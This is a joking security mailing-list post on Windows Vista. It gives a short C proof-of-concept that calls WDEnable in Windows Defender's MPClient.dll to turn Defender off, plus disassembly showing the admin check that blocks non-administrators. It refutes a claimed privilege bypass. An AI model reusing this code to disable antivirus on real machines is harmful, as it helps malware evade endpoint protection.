	(Vista) PoC code

HAHAHA Fredrick Diggle thinks that skyout was running his el8 assembly
machine program in a debugger running as administrator :( opps...

for the kids to test at home fred diggle has written easier program
which isn't as el8 (fred doesn't know the computer assembly language
as he is lowly zoo worker) but also isn't as dumb

#include "windows.h"
#define INFINITY_PLUS_1 0 // important DO NOT CHANGE
/*
	by defining the diggle license agreement secret sauce
	you are agreeing that fredrick diggle is far better
	than you will ever be and also that you will give him
	all your money please
*/
#ifdef DIGGLE_LICENSE_AGREEMENT
typedef int (WINAPI *diggle)(BOOL hippo);
#endif
int main() {
	HMODULE dlliggle;
	diggle WDEnable;
	dlliggle = LoadLibrary(L"C:\\Program Files\\Windows Defender\\MPClient.dll");
	WDEnable = (diggle) GetProcAddress(dlliggle, (LPCSTR) "WDEnable");
	WDEnable((BOOL)INFINITY_PLUS_1);
	return INFINITY_PLUS_1; // <- THIS IS CRITICAL
}

doesn't work if fred is not admin :( <- sad face

Why could this be when skyout says it will?!?!?!?!

from MPClient.dll

WDEnable()
...
.text:30C12858 loc_30C12858:                           ; CODE XREF:
WDEnable(x)+16E.j
.text:30C12858                 call    _MpFeatureDisable@8 ; THis is
teh call that Matters ++++++
...

MpFeatureDisable()
...
.text:30C0C8A9                 lea     eax, [ebp+var_4]
.text:30C0C8AC                 push    eax             ; int
.text:30C0C8AD                 push    ebx             ; int
.text:30C0C8AE                 call    _IsAdminOrSystem@8 ;
IsAdminOrSystem(x,x) Opps :((((((((
...

so Fredrick thought in Freds mind, well gee golly this checks if fred
is an admin but I can control this code eh (disclaimer: fred is not
canadian)... so what happens if fred makes this code do "mov DWORD PTR
SS:[EBP-4], 1" instead of that nasty admin checking?

well fred discovered that it basically calls into NdrClientCall2()
which can be viewed for pleasure here ->
http://msdn.microsoft.com/en-us/library/aa374215(VS.85).aspx

see ----v

ClientMpDisableFeature()
...
.text:30C14FBA                 lea     eax, [ebp+arg_0]
.text:30C14FBD                 push    eax
.text:30C14FBE                 push    offset byte_30C01AFE ; pFormat
.text:30C14FC3                 push    offset pStubDescriptor ; pStubDescriptor
.text:30C14FC8                 call    _NdrClientCall2 <- HELLo you
devilish monkey
...

and although fred did not reverse this nastiness today he assures skyout that

1) MPClient.dll checks for admin privs (not that it matters)
2) even if it didn't this call wouldn't let you turn off defender
without admin privs, if you want to find a way start ^--- there
3) his children will be plentiful with full heads of hair (but one
might potentially be a midget... :D)

Fred diggle must go see if the hippo brushed his teeth before going to bed now

good bye friends!
